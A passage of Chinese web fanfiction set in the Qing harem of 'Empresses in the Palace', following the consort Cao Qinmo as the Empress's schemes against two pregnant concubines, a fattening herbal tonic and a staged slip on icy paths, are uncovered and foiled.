齐妃如往常般提前去给皇后请安,不出乎意料的被拒之门外。这已经是第不知道多少次了,她无措又带了些委屈,虽然觉得皇后对弘时不如贤妃实在,但她也是实打实的尊敬皇后。 受了委屈的齐妃便带着翠果晃悠到储秀宫,嘀嘀咕咕的诉说着自己的难过。 “皇后娘娘也不知怎么了?从前都是本宫提前进去服侍娘娘簪花的,已经有些日子,皇后娘娘私下里未曾召见了。” 虽曾隶属不同的阵营,但在齐妃眼里,孝淑皇后人都没了,曹琴默自然都是皇后的人了。再加上一点于弘时有益的建议,曹琴默完完全全已经被齐妃归于自己人的范畴里。 曹琴默似是做出思考状,一边哄着两个孩子摆弄玩具,一边‘好心’的分析道:“妹妹记着,姐姐自潜邸时就跟随皇后娘娘,一直是娘娘的心腹。” 齐妃笑着点了点头:“是,本宫从前就认准了皇后呢。” 弘晏把自己的玩具推到姐姐温宜手里,温宜熟练的把自己的玩具换了过去。 曹琴默辅助着两个孩子拖动一个木头的小船,低着头眼底闪过精光:“姐姐记不记得,皇后娘娘是何时和姐姐生疏了的?若是能推断原因,还好补救一下。” 齐妃看了眼身后的翠果,翠果仔细想了想:“似是,似是咱们三贝勒定下婚事后,皇后娘娘就不常召见您了。后来三贝勒出宫开府,咱们就再也没进去过提前给皇后娘娘请安了。” “对,对!” 齐妃想起来了,那次她本兴致冲冲的跟皇后分享好消息呢,结果被拒之门外,她难过了很久呢! 又帮着孩子们把木船放到一旁的桌子上,曹琴默才回过头疑惑的看着齐妃:“这倒是奇了,三贝勒出宫建府不是好事吗?怎的皇后娘娘不与姐姐一同分享喜悦呢?” 齐妃自然想不出个所以然来,这时温宜迈着短短的胖腿晃悠过来,扒着齐妃的腿喊道:“玩儿,一起玩儿。” 曹琴默笑着抱起温宜:“齐娘娘在想事情呢,温宜先去和弘晏玩儿好不好?” 小小的温宜歪了歪头,一双大眼睛看着齐妃认真的问道:“问我,问我。” “齐姐姐别介意,温宜如今能说个囫囵话,总是四处给别人解决问题。” 齐妃看着肉墩墩的温宜想起了小时候的弘时,面上带着慈爱的笑意哄着温宜:“好,问我们温宜。温宜啊,齐娘娘有个姐姐不理齐娘娘了,这是为何啊?” 温宜挥了挥手不假思索道:“齐娘娘抢,抢了姐姐。” 齐妃哈哈笑了起来,她能抢皇后什么啊,明明说的是弘时......的事啊。 曹琴默挑了挑眉,看着总是抢弘晏玩具的温宜笑了起来:“温宜是不是说自己呢?总是抢弘晏的玩具,弘晏不理咱们温宜啦。” 温宜咧开嘴,露出四颗可爱的小米牙扭着身子就要去找地上的弘晏。 “既然想不明白就罢了,齐姐姐可以去问问皇上。皇上和皇后娘娘夫妻一体,就算有什么问题,皇上也能帮着姐姐解决的。” 曹琴默拍了拍齐妃的手,打断了她的胡思乱想。 这念头啊不怕自己一直想,人总会为自己的想法圆上一个完美的理由。但就怕被旁人打断,被打断的思路在夜深人静时总是会续不上当时的想法。所以这疑心就留在了这里,是怎么洗也洗不掉的。 温宜出声倒是不需要曹琴默再拐些弯了,小小一个人儿,就知道给额娘分忧了。 曹琴默亲了亲温宜的小脸蛋,借着宫务的由头暗中查探起了和温宜适龄的世家公子们的资料。亲事,要从娃娃抓起。 自进宫后,曹琴默也暗中联系到了曹家人。 她的父亲曹轩作诗不行背诗行,做官一般人缘却宽,不求上进但人很贴心。曹琴默自己凭借着六品官的家世走到妃位,曹轩没有接到女儿的信便也只当没有这个女儿。 不卖宫中娘娘的架势,也不攀权附会四下蹦哒,主打一个没什么作用但也不拖后腿的形象。 涿州就在京城周边,曹轩结交的各路书生数不胜数,毕竟他爹的名气就是靠着诗词出圈的,为了不堕了老曹家的名声。曹轩只结交书生画师等文人,也算是他大哥说的书香门第的传承了。 曹琴默觉得挺好,这狼心狗肺的书生自古可太多了,尤其是在为了攀附权贵时的嘴脸,一个圈子总会有暴露的时候。 她的温宜自然不会嫁一个穷书生,但想起来沈眉庄曹琴默就打了个冷颤。想来沈家也没想过会出这么一个人物吧? 多结交些人好啊,一个篱笆三个桩,一个好汉三个帮,不求能托举温宜的后半生,能得一些贵人们忽略的小道消息,也是有用的。 遥望了一眼养心殿,想了想齐妃的脑子和皇上疑心,她这心啊,踏实的很呢。 不出曹琴默的意料,齐妃是个藏不住事的人,从储秀宫出来后就到了养心殿。 她本是想着先去问一问皇后,但被曹琴默打断后,也觉得直接问皇上比较好。 “皇上,您说皇后娘娘这是什么意思?臣妾也没有哪里做的不对啊?!怎么这段时间皇后娘娘就不待见臣妾了呢?” 齐妃穿着竹叶青的衣裳,上头是银线和彩线交织绣的芙蓉花,相较于她一直执着的粉色系列,这衣裳反而更衬的她韵味十足。 皇上听她叨叨了半晌,说话东一榔头西一棒子的根本没个章法。好容易理顺了齐妃的话中意,抬头间咽下去了已经到嘴边的不耐烦。 齐妃当年盛宠可不是开玩笑的,那是在皇上还不是王爷的时候,生生在后院凭着一张脸杀出一条血路的人。 进宫后虽说上了年纪,但其实保养得当的她并未减损几分容貌,只是没什么脑子,嘴又笨,审美也一直停留在当年,才叫皇上失了兴趣。 如今皇后有段时间不跟齐妃玩儿了,齐妃这个没脑子的又跟曹琴默玩儿起来。 她一向是个不太有主见的,曹琴默说她穿绿色蓝色和紫色系好看,齐妃就巴巴的拿着料子去内务府制了新衣裳。 穿粉色时间久了,猛然换了色系她自己也觉着新鲜,这不就见天儿的穿着。 被皇上灼灼的目光盯着,齐妃的委屈还没咽下去就又泛起了羞涩。 红着的眼眶氲着泪珠的眸子,倒是真让这对老夫老妻又谈上了。 “好了,你说的事朕知道了。皇后这些时日总是病着,脾气阴晴不定些也是有的。弘时福晋是不是快生了?你没事也琢磨琢磨咱们孙儿的衣裳,若是闲着便去找贤妃说说话,等皇后好些了再说。” 齐妃自进宫第一次留宿在养心殿,但是说实话,抛去最开始的激动,齐妃现在是心如止水。 倒不是不在意恩宠了,主要是她经历过皇上年轻时还算勇猛的时候,这番体验,属实算不得好。 但齐妃蠢笨归蠢笨,这话能不能说她还是知道的。 正好皇上又说起了别的,齐妃的念头便瞬间跟着飞到了别处。 “臣妾知道了,皇后娘娘不爱跟臣妾玩儿就罢了。臣妾找贤妃妹妹玩儿去,温宜正是好玩儿的,有时候丽嫔还带了八阿哥来,那小小的一个人儿,一逗就哭,好有意思。” 齐妃说起来就有些停不下来,想起跟皇上十分有八分相似的八阿哥,忍不住自己的笑意。 不过她作息稳定久了,没说一会儿就睡了过去。 皇上自己枕着胳膊躺着,在心里想着皇后对齐妃前后的态度变化。 ‘从前皇后娘娘还说,叫弘时等等青樱格格呢。也不知道是不是这个缘由?但是咱们弘时是皇阿哥啊,到岁数了怎么能自降身份去等她一个小官之女呢!’ 齐妃的话不停的在皇上耳朵里绕来绕去。 皇后这般作为皇上都不用深思,便知道她打的什么主意。 看了眼无知无觉的齐妃,皇上再一次感慨傻人有傻福。 若不是贤妃察觉不妥,还真能让皇后得逞了。 毕竟这么久了,皇后一件正经事都没干过。别说自家阿哥忽略着连个人事宫女都没有赐下,外头宗亲的婚事都是他亲自栓的! ‘罢了,好歹是纯元的妹妹,活着就是了。’ 翻了个身,想着好歹有曹琴默这个贴心的贤妃在,皇后只要老老实实活着就够了。 第177 章 曹琴默35 吸取去年年宴的教训,皇上这一次直接把年宴的安排交给了贤妃负责,御前的两位嬷嬷辅助。 曹琴默看了眼手里的账本和往年的酒水单子和菜单。觉得这活虽然琐碎,但真的还算好干。毕竟都有先例,依照着来就是了。 太过出挑的皇上的财力又不允许,左右都是做出的好看模样,何必吃力不讨好的干出些招骂的事呢? 眼看着贤妃手里的权力越来越大,皇后终于感受到了‘六品小官之女’的威胁。 “贤妃如今也有了几分当年孝淑皇后的风采,不愧是孝淑皇后身边的人。” 皇后如今的处境甚至都不如年世兰在世的时候。年世兰虽然嚣张又跋扈,但她没什么脑子,皇后的打算是把打掉的胎都推到年世兰身上的。 可惜啊,年世兰死的早她还没有觉得痛快,贤妃又起来了。 曹琴默不在意的笑了笑:“皇后娘娘说的是呢,臣妾跟着孝淑皇后身后,确实学了不少东西。皇上也时常说,孝淑皇后贤良淑德,叫妹妹们好好学着。” 皇后的嘴角有一瞬间的僵硬,她听到了什么?‘贤良淑德’?谁?年世兰?这四个字哪个跟她有关系呢她请问? 但皇上就是这么认为的,谁现在能跟皇上对着干呢? “呵呵,是了。孝淑皇后能干,自是要学习的。” 皇后咬了咬舌尖,她恨啊,怎么一个两个的死鬼都要跟她过不去呢? 从前有个貌若天仙舞似嫦娥的纯元压在她头上还不够,现在又多出个贤良淑德的孝淑皇后。 她乌拉那拉宜修是什么很低贱的人吗?明明她才是当朝唯一的皇后,却生生落在了最后一位。 手里头那点宫权甚至不如一个妃位! 皇后的眼风很快的扫过瑾贵人和婉常在的肚子,温声带着关切:“你们两个月份也大些了,日常出门也要注意着。” “是,多谢皇后娘娘关心。” 瑾贵人的钟粹宫摔了三个小太监了,她哪里还能飘的起来,恨不得把自己缩回去才好。 安陵容在请安后被留了下来。 “婉常在这一胎瞧着辛苦些,本宫观你脸色不太好,可是有什么困难?” 虽然是战力最低的钟粹宫,但安陵容身边换了桐柳后皇后安排的几个人也很难近前去打听消息。 辛夷和刘得海得了信儿,并没有把皇后的人都撵出去。这也导致辛夷和刘得海十分受瑾贵人三人的重视,倒是体验了一把诡谲的后宫风云。 安陵容内心的忐忑逐渐被皇后暴露出的目的安抚,她心里拉高了防备,对于皇后的示好全部羞羞涩涩的半推半拒。 皇后得到的消息还是曾经的宝娟送来的,据宝娟言,钟粹宫的三人看起来和谐,但瑾贵人和瑜常在明显是更为亲密的。婉常在家世低,两人都跟她说不到一起去。 皇后以为安陵容这般的女子定是给些善意就可以拿捏的住的。没想到这番试探几乎是没有任何进益。 婉常在家世低恩宠却并不算少,虽然和瑾贵人瑜常在并不算和睦,但也并没有自怨自艾。 “如此便好,本宫知道瑾贵人是满军旗的贵女,和瑜常在这等家世好些的更能聊的来。本还有些担心你会调节不好,影响了孕期的心情,这才想着叫你说说话。” 安陵容摸了摸自己已经显怀了不少的肚子,对皇后的话一个字也没信。 若是知道她家世低微跟这些贵女们处不来,何必这时候才说话?怎么一早不把她分到贤妃姐姐宫里?那不就又有人照顾又不会影响心情了吗? “多谢皇后娘娘关怀,嫔妾一切都好。瑾贵人和瑜常在都是好相处的,嫔妾没有不开心的。” 皇后细细的看着安陵容的表情,确实没有一丝勉强。 她眉头微微一动,叫剪秋送来了一盘‘枣泥卷’。 “好了,时间也不早了,你先回去吧。这是本宫这里的枣泥卷,你有孕在身,吃些枣泥补身子。” 安陵容恭敬的行了礼,带着桐柳和这一碟子枣泥卷回到钟粹宫。 “你回来了?” 其实瑾贵人和瑜常在人还算不错,虽然看不上安陵容,但到底也不会自降身份跟她拉扯。 “是,皇后娘娘说嫔妾家世低些,所以怕有事影响了皇子,这才留了嫔妾一会儿。” 瑾贵人皱了皱眉头,总觉得这话说的不好听。 “行了,先回去吧,天儿冷。” 但是她不够聪明,也没有听明白。 回到自己殿内,拉着孙妙青坐下来才看着一旁的辛夷姑姑道:“皇后娘娘这是什么意思?” 辛夷抿了抿唇:“小主,皇后娘娘许就是关心一下安小主呢。” 瑾贵人自以为自己很了解辛夷了,况且她是主子:“你直说就是,本小主又不会怪罪于你。” “小主,皇后娘娘是不是怕您和瑜常在瞧不上婉常在?” 辛夷是章佳氏留下的人手不错,但她也得为自己打算啊。十三爷是个好主子,可当今的圣上可没有优待旧人的良好传统。她还是年家从角落里扒拉出来才得以继续在一宫当个掌事姑姑呢。 更何况当年章佳氏的人手大部分都被当年的德妃通过乌雅氏给扫了出去。 辛夷也是因着伺候敬敏皇贵妃时间短,才被漏了下去。 家里现在不求送女儿进去博前程,只求后宫能有个人,不至于今后有计较时做个睁眼瞎。 “皇后娘娘怎能如此挑拨?本小主虽然和婉常在并不算多和睦,但自问也不是什么不讲道理的人,更何况婉常在也有了身孕,本小主何故就要惹她了?” 瑾贵人一点就炸,安陵容在西偏殿听着富察氏的动静拿着针线的表情都柔和了两分。 皇后这样欺负贤妃姐姐,还想要她肚子里的孩子,她只是把皇后的意思传达给瑾贵人,不过分吧? 安陵容看了眼手里的虎头鞋,想着下次皇上来的时候,还是得继续表达自己想把孩子给贤姐姐照顾的意思。 皇上日常总会去有孕的宫嫔宫里坐坐。 钟粹宫有两个孕妇,正好方便了他不用多走。 看了瑾贵人又去看安陵容。 “容儿这几日气色看着也好多了。” 对比起皇后不走心的关怀,皇上是切切实实的看出安陵容的脸上长了肉的。 “嗯,贤姐姐给了嫔妾几个小食的方子,嘱咐嫔妾找太医瞧了,吃着很开胃下饭。” 皇上歪在软榻上,也不脱鞋,安陵容强迫自己移开眼,不看那可怜的毯子。 “贤妃一向是最贴心的,又最是心软。” 安陵容把自己靠在皇上怀里:“是,温宜公主和弘晏阿哥都十分的强壮,嫔妾也真真儿是羡慕贤妃姐姐的耐心。” 皇上摸着安陵容柔顺的长发,嘴角含着笑意。 安陵容没再说话,拉着皇上的手放在自己的肚子上。 第178 章 曹琴默36 “皇上这年宴臣弟吃的还算不错,怎么瞧着皇后娘娘老,憔悴了许多?难不成皇上的钱都用在了别处上了吗?” 但凡是有敦亲王在的场合,他总会不负众望的闹出些事来。 去年是阴阳怪气的嫌弃皇上不养人,才叫华贵妃好好的一飒爽武将之女入了宫就变成了病美人。这皇上倒也没太生气,毕竟华贵妃这模样他确实有责任。 但今年,皇上自问对皇后已经不错了。她管家不行,正经皇后的职责一样都没做。身后的乌拉那拉氏无人可用,甚至身上还有一堆拎不清的官司。就这样,他还没有废了她的后位,这还不好吗? 可瞧瞧今日除夕年宴,皇后是怎么报答他的呢?消瘦的脸颊勉强的笑脸,不太合身的凤袍和珠翠满头的凤冠。容貌,气势没有一点能担的起一国之母的架势的地方。 皇上脸上的笑意如常,但眼神里散发的阴郁被敦亲王福晋精准捕捉。 她拉了拉自家胖王爷的衣角,在他转头的功夫精准的用一块金糕堵住了敦亲王的嘴。 “皇上,皇后娘娘恕罪,王爷吃多了酒就爱说些混话。” 到底是赫舍里氏的人,皇上不看僧面看佛面,总不会在这年宴上斥责兄弟的。更何况,敦亲王福晋知道,皇上也没有那份魄力。 “不妨事,既然吃多了酒,朕就不留你们夫妻了。” 皇上扯了扯嘴角,脸上的笑意分明还是和善的模样,却叫敦亲王福晋无端觉得生出一股凉气。 这年宴刚刚走了一半,哪有皇上的兄弟先离席一说呢? 可是皇上话都说到这里了,她也只能搀着敦亲王起身谢恩。 敦亲王的离席倒是叫宴席上更热闹了几分,皇上也恢复了正常,笑呵呵的接了宗亲的敬酒。 他看了眼底下抱着两个孩子哄着吃饭的曹琴默,满含笑意的眼神停了一瞬,没有被任何人发现。 ‘姐姐说两句罢了,咱们弘晏都没有计较,皇上可不许拉了偏架。’ 皇上心底的满意托举着福慧小公主再次上浮,脑子里全是认同。 贤妃说的没错,做哥哥的训斥弟弟两句罢了,钮钴禄氏会拉偏架还是赫舍里氏会拉偏架呢? 皇上的眼神扫向在场的两位姓氏的代表人,钮钴禄·讷亲和赫舍里·嵩寿,两人同时察觉到皇上的眼神,起身向皇上敬了杯酒。 虽说他们确实看不上如今上位的老四,但谁是老大还是分的清的。可能办事的时候出工不出力,但是大面上绝对不会叫旁人看了笑话去。 至于敦亲王被撵出去?那算什么事。要不是连着亲,这样一位时时刻刻把脑袋别裤腰上的王爷谁爱要谁要。 就为了宗人府的那两位,见天儿的跟皇上对着干。这也就是这位皇上腰杆子不算硬气,若是硬气些,弄不了你王爷,他们这些姻亲都得倒霉。 不过,皇上现在腰杆子不硬说不得以后如何,毕竟做王爷的时候就不是个好相与的,谁说的准未来怎样呢。 除夕宴就在这般君臣和乐的大团圆场景下圆满结束。该是与皇后一同守岁的,但皇上实在不耐烦对着皇后那张晚娘脸,便只说养心殿还有政务,扶着苏培盛就走了。 一整个年节,皇上都没有踏入景仁宫一步。 皇后自己背地里发疯也是无用的,零人在乎。 甚至连太后手里的人手都没有完全拿捏住,皇后更是不肯放弃晨昏定省的规矩了。 时不时的,还要留安陵容在景仁宫说说话,每次离开时都会送一碟子不值钱的点心。 除却第一次的枣泥卷,还有如意卷,八珍糕和龙须酥等物。件件都是甜的腻人。安陵容合理怀疑皇后想把她喂的胖胖的,好在生产时去母留子。 还好她有些小聪明,拿了枣泥卷后不着痕迹的拿着去找了贤姐姐。 那完全像在吃糖的感觉叫她现在想起来还有些牙疼。 “嗜甜本不是什么大事,只是妹妹如今有孕,过甜的点心有可能会叫妹妹的身体有多处不适的。” 安陵容想着曹琴默的话看着手里的豌豆黄,便直接分给了下头的宫人。 皇后努力了许久,安陵容仍是体态纤细的模样。想了想手里乌雅氏的人多在内务府和御膳房,皇后便取了最后一点能使人发胖熟地散。 熟地散取黄芪,熟地,山药等物精心配比而成,是补血滋阴,益精填髓的好物。 只是对于血虚肝肾阴虚者是有滋阴养血之效的,可对于安陵容这般气血充足,膳食合理的孕妇来说,便会增加身体负担,从而使其发胖。 安陵容于香料一道有独特的敏锐,但对于中药材只是半通半解。她熟知的沉香,檀香,白芷等都是香料中常见的,至于其它,并不擅长。 当然,皇后也没有放弃对瑾贵人的动作。 毕竟在皇后看来,瑾贵人出身富察氏,其威胁可是要比汉军旗的曹琴默要大的多。 皇后虽然对曹琴默起了戒心,但并不算特别多。毕竟,曹琴默出身汉军旗,家中官职最高的也就是其六伯曹涵,任扬州知府。 虽养育着一儿一女,但儿子却是已逝的芳妃名下,养了这么久的孩子,还坐到了妃位,竟然连六阿哥的玉牒都没能上到自己名下。这在皇后看来,曹琴默就是废物。废物,不值得多费力气。 瑾贵人的肚子也有六个月了,已经不是摔一跤就可以轻松解决的问题。 皇后看着窗外开始融化的积雪,对着剪秋轻声道:“天儿渐暖了,叫宫人们都当心些,若是有积雪化水未清,路面湿滑怕是不好走。” 剪秋眼珠子一转,嘴角带着了然的笑容退了出去。 “陵容,你最近,是不是吃的有些多?” 安陵容照旧在请安后来到储秀宫报到,手里拿着一个精致的兔子玩偶,吸引着温宜的注意力。 曹琴默坐在一旁打着络子,抬眼就觉得安陵容的腰身粗的有些不寻常。 安陵容放下玩偶细细想了想,她的食量一向不算大的,就算有了身孕也只是每餐多用了两口。近日胃口确实不错,吃什么都很香。 “我,我胖的厉害吗?” 安陵容不自然的摸了摸自己圆润了几分的脸蛋,心里头也有些异常。 曹琴默摇了摇头,安陵容本就生的瘦弱,这几日多用了些反而有种珠圆玉润的饱满之态。并不算胖,但增长的有些快,怎么瞧都不对劲。 “叫江城来看看。” 曹琴默倒是不怎么意外,皇后不出手她才会觉得有诈。 江城精于妇科一道,但并非不认识一些宫里常见的秘药。 “应当是熟地散。” 细细把了脉,江城才想起来上次熟悉的那种微妙感是什么。 安陵容的胎一直是他负责的,上一次把脉就觉出来安陵容身体里有些过头的滋补之物。不过宫里头贵人有孕时多爱用些补品,江城并不太当回事,只是嘱咐安陵容不用太过进补。 安陵容确实用着皇上送来的燕窝等物,闻言也只当自己身强体壮不需要多吃,也没有当回事。 这才导致这些日子安陵容胃口小开却并未感受到异常。 “熟地散?” 曹琴默倒是在当富察氏那一世听说过此物,寻常人若有那脾胃不合的孩子才会取其中一味入了药调理。 可熟地散却是把滋补之物混成了一道,其开胃滋阴的功效不可小觑。 “是,熟地散是取黄芪熟地等药材炮制而成,其作用有开胃健脾之效。若是长期服用,胃口会越来越大,难以控制。” 安陵容紧紧的握着曹琴默的手,脸色苍白眼中满是无措。 “需要吃药调理吗?” 曹琴默拍了拍安陵容的肩膀轻声安慰着。 “并不需要,只要停了便是。” “那今日,你便在本宫这里用了膳再走。若是晚上皇上去看你,便明日叫江太医早膳时分去请平安脉瞧瞧。” 对上曹琴默安抚的眼神,安陵容的心绪平复,倒是理解了她话中的意思。 “叫姐姐费心了。” 第179 章 曹琴默37 “你精神头倒是极好的,瞧着脸色红润想来这孩子是个疼人的。” 皇上在养心殿收到了安陵容送的寝衣,这争宠的法子算的上是后宫通用了。皇上本也没什么安排,便顺着安陵容的意思来到了钟粹宫。 安陵容其实是喜爱珠翠的,她在家时虽是嫡女,但母亲软弱父亲眼瞎,好的缎子漂亮的首饰她都是没见过的。 入了宫,日子好过了不少。有段时间就格外喜爱把那些皇上赏赐的珠翠堆满了头。 还好她跟着娘亲从小学习刺绣还有些审美在,即便是繁复些也是美的。 在贤姐姐的提醒下,安陵容在自个儿宫中和皇上相处时便只留简单的珠钗或清雅的绒花。皇上果真十分喜爱摸着她的乌发赞一句‘清水出芙蓉,天然去雕饰’。 其实对于皇上,安陵容是没什么特别大的好感的。但是她不得不争宠,没有宠爱,她那瞎了眼的娘亲在松阳县还不知道要怎么过。 想到这里,安陵容越发感激曹琴默的照顾。 她的言语里似是夹杂了腻人的蜜糖,合着脸上羞羞怯怯的表情,叫皇上那颗榴莲般的心软软的。 “妾身第一次做额娘,有好些东西都不懂,幸好贤妃姐姐不嫌弃嫔妾蠢笨。” 皇上认同的点了点头,曹琴默别的不说,体贴贤良是他后宫里最拔尖的一位。更别提其观察力敏锐和十分灵活的脑子,也就是家世耽误了她。 “后宫和睦,贤妃确实做的很好。” 摸了摸安陵容的肚子,想着其那没用的爹和拉拔不起来的家世,这孩子给贤妃抚养确实是个好事。 安陵容见好就收,每次见面扇扇风点点火,她这小算计啊,就稳了。 这天气反反复复,昨儿明明晴朗至极的天儿,晒的人身上暖洋洋的,晚上一场绵绵细雨,晨起时路面又有了那细细脆脆的薄冰。 这对于皇后来说简直就如同天助,只调动了两个洒扫的太监,从钟粹宫到景仁宫的路上,就被遗漏了两块不明显的痕迹。 “小主还是当心些,叫奴才在前头走着。” 刘得海亲自陪着钟粹宫三位小主去请安,这可是入宫后的头一回。 “怎的今日这般紧张?” 瑾贵人本就是个色厉内荏的,身边人紧张兮兮的样子,弄的她的心也七上八下的。 辛夷扶着瑾贵人,表情难得有些严肃:“昨儿夜雨来的急,原也不是什么大事。但今早咱们宫里的地勤,地忠和同顺都出现了不同程度的肚疼病状,往日里这几人都是给小主开路用的。” 瑾贵人看了眼扶着她的辛夷,又扭头看了看身后的钟粹宫,总觉得这阴沉的天儿像一头吃人的凶兽。 “瑾贵人莫怕,嫔妾出门前遣了桐柳去了储秀宫,咱们自己应不来,便求了贤妃娘娘,总能保护好孩子的。” 瑾贵人猛猛点了点头,只是这一下叫她脚底一滑,整个人便歪了下去。 如今已有六个多月的孕肚,加上她素日里并不爱运动,身子便格外的不灵活。 辛夷虽然抱住了瑾贵人的腰身,也实在架不住她直直的往下栽的趋势。 身旁的桑儿跟个傻子似的就会喊,关键时刻还是后头突然冒出来个人影儿,垫在了瑾贵人身下。 “颂青!” 安陵容看到那独特的缺瓣芍药的珠花,就知道来者是何人了。 她跟着慌乱的心也一瞬间安静下来,而后随着颂青的眼神捂着肚子跟着一并喊起了疼。 东六宫的动静有些大,又有颂青在侧,曹琴默是第一个赶到钟粹宫的。 江城得了消息便带了医士卫临往钟粹宫赶,本被委以重任的章弥,则是被江慎纠缠在了原地,不得上前。 皇上下朝后,就接到了储秀宫进喜的消息。 “到底是怎么回事?” 衣服都没时间换,皇上饿着肚子哑着嗓子坐到主位上,看着底下乱糟糟的宫人和坐在那里的皇后不顺眼极了。 “臣妾也是刚到,听闻是瑾贵人来请安的路上滑了脚摔了一跤,现下还不知道情形如何。” 皇后没有看到章弥,心里头也有些着急,偏皇上来的快,贤妃也在里头陪着,不论是去太医院还是进去使坏都无法。 “你,来说。” 皇上指了指坐立难安的瑜常在,这是在场唯一一个全乎人了。 “回皇上的话,今晨去请安时,是宫里的首领太监孙公公陪着一起去的。当时瑾贵人还有些纳闷,谁知孙公公说,日常里负责开路的几个太监今早都闹了肚子。 他不放心,便陪着嫔妾等人一起。可孙公公毕竟只有一人,瑾贵人走到承乾宫地界儿的时候,不知踩到了什么突然就歪了身子。 还好婉常在早上出门时觉得不安,提前叫人去储秀宫找了贤妃娘娘,贤妃娘娘理解咱们三个不知事的,便遣了颂青姑姑来看着,还好颂青姑姑来的及时,垫在了瑾贵人身下。婉常在也受到了惊吓,现在还躺着呢。” 瑜常在只是胆子小,但她哥哥因为有钱妻妾可比皇上还多(这是可以说的吗?),所以她总结这些场面十分的得心应手。 皇后深吸了口气,她看了眼身旁的剪秋轻轻的摇了摇头。 “回皇上的话,小主的胎只是受了惊吓,卧床休养一段时间喝几天安胎药就好了。至于婉常在,也是受了惊吓,最好静心休养。” 江城出来没有给皇后开口的机会,直接定下了两位小主需要休息的事实。 皇上坐着已经喝了两杯茶,他看了眼皇后没有说话,起身来到内室。 “臣妾给皇上请安。” 曹琴默一直陪着两个人,实在是瑾贵人胆子太小了,握着她的手不肯松开。 “辛苦你了。还好你来的快。” 曹琴默扯了扯嘴角:“臣妾可不敢居功,婉妹妹早上来的时候臣妾也只当妹妹们年轻,不经事罢了。便派了颂青去看着,颂青是孝淑皇后调教的宫女,有力气有胆识,皇上定要好好赏赐她。” 皇上看了眼,没看到颂青。 “颂青呢?” “颂青垫在瑾贵人身下,应当是扭到了腰,臣妾叫人扶着她下去休息了。” 皇上表情有些怅然,他想世兰了。 “世兰的人,自然是好的。” 说着,他拉住曹琴默的手:“孝淑把颂青给你,也是知你是个好的,今日事颂青要赏赐,朕也不能忽略了你。” 刚想说什么,皇后已经收敛好了表情走了进来。 “妹妹们都没事吧?本宫已经仔细询问过了。昨夜的雨来的突然,今早御花园的花被吹倒了两棵。所有有两个本该洒扫宫道的太监被调去了帮忙。这才叫妹妹们受了惊吓。 臣妾已经把那两个太监打发去了慎刑司,皇上您看......” 皇上是不信这个的,宫道扫撒的太监是有定数的,也是不会随意被调去的。皇后拿几个低位的嫔妃当傻子就算了,难道他和贤妃也是傻子吗? 看了眼表情有些异样但紧闭着嘴的曹琴默,皇上叹了口气,他这个皇上难道对皇后还不好吗?这屎屁股都要给擦! 皇上自己把自己想恶心了,看皇后的表情更难看。 “罢了,既然这般那就晋瑾贵人为瑾嫔,婉常在为婉贵人,就当是安抚其受惊了。” “皇上这是否不妥?不若等二人生产后再另行晋封,也算是喜上加喜了。” 皇后反对的太快了,被剪秋拉了一下才发现,当事人都在这里。 瑾贵人,不,瑾嫔和婉贵人的脸色都有些勉强,就连贤妃也惊奇的看着她,仿佛在说:至多一个嫔而已,皇后已经是后宫之主了,还要计较这些吗? 皇后:你懂什么,连六阿哥的玉牒都改不了的废物! 第180 章 曹琴默38 “好了,都六个月了,也快生了,不必计较这一时半会儿的。” 斜睨了皇后一眼,表情是不容置喙的严肃。‘最爱’的皇上拍了板,皇后也只能撑着笑意表示赞同。 “皇上政务繁忙,臣妾在这里守着两个妹妹就是了。” 曹琴默看了一眼皇上身上的龙袍,心下了然的开口给了皇上离开的台阶。 “嗯,你在这里朕放心。” 皇上也实在是饿了,早朝前只用了两块饽饽垫了肚子。今儿年羹尧也在,少不得多说了会子话,嗓子在到钟粹宫前都是干痒干痒的。他是发现了,后宫只要有有孕的宫嫔,就没个安生的时候。 往常嫔妃私下里怎么都无事,只要沾上景仁宫就没个好。到底是纯元的妹妹,以前不想把事情想的太明白,如今也实在忍她不得了。 回到养心殿先给自己填饱了肚子,总觉得心里空落落的,便只带着苏培盛晃悠到了翊坤宫。 正殿里挂着一幅孝淑皇后的画像,皇上坐到前头的蒲团上捏着珠子开口:“世兰,论看人,朕确实不如你。贤妃和颂青都是好的,今日还帮朕保住了瑾嫔和婉贵人的孩子。从前你在时总是跟这人吃醋跟那人计较。 唯独贤妃跟在你身后落了埋怨也未曾离开,你心善保住了贤妃的福慧,贤妃继承了你的遗志,也对后宫的孩子视如己出。世兰,是朕对不住你。” 苏培盛站在外头,听着皇上的絮叨叹了口气。 这人死了,在皇上心里便全是优点了。 抬头看了看仍旧灰扑扑的天儿,苏培盛只觉得未来也迷茫的紧啊!如今贤妃倒是个可投资的,但是她名下没有阿哥。 明明凭贤妃的聪慧和孝淑皇后的庇荫,要一个六阿哥的玉牒而已,简简单单的事情。 可贤妃硬是怕六阿哥不记得生母,芳妃无人惦念。 苏培盛摇了摇头:这心性,他老苏也拿不准到底该不该下注。 想到仍旧在延禧宫任劳任怨的崔槿汐,苏培盛心里再泛不起来波澜。 本是同乡情谊照顾两分,后又因着容色吸引愿意给个方便。现在嘛,容色不在,他老苏是个俗人,而且官女子确实没有什么值得他下注的必要。 延禧宫的官女子如今过的怎么样呢? 好容易熬过了寒冷的冬日,开春居然一场夜雨又把前几日的温暖打回了原型。 瑟缩在被窝里,能堆在身上的都堆在了身上。屋内只有一盆快要燃烧殆尽的黑炭,呛人的烟叫这炭盆远不得近不得,难过极了。 “从前只觉得即使没有恩宠,这日子有咱们姐妹一起总会有盼头。可如今,连吃口热饭都无法,奴才们拜高踩低,竟如此折辱你我。” 沈眉庄的钱已经花光了,这个冬天买炭火买饭菜还要买冬衣,沈家送进宫的银钱和温实初三不五时的送温暖,倒是叫两人还如进宫那般,维持着好脸色。 可如今,温实初的那点子俸禄养不起两个吃穿都不俗的宫妃,光是每月的神仙玉女粉就要花费他大部分的俸禄。花光了俸禄花积蓄,但温实初只是个太医,总有钱袋子见底的一天。 只看就一日没有使了银子,送上来稀汤寡水的饭菜,两人就一丝胃口也无。 “是啊,这宫里趋炎附势本就是常态。你我二人并不是得宠之人,自然日子就难过些。” 甄嬛是个敏锐的,这些日子,温实初只要过来,眉姐姐的眼睛便一直盯着人瞧。其中的情谊她看的分明。 她心里说不上是什么感受,她并不喜欢温实初,但温实初被其她人爱慕,她心里也是有些不舒坦的。 至于眉姐姐移情别恋有什么问题?甄嬛倒是不这么觉得。皇上无情,自然是得不到眉姐姐的真情的。 不过,一个小小的太医能带给她们什么好处呢?甄嬛不想再过这般日子了。 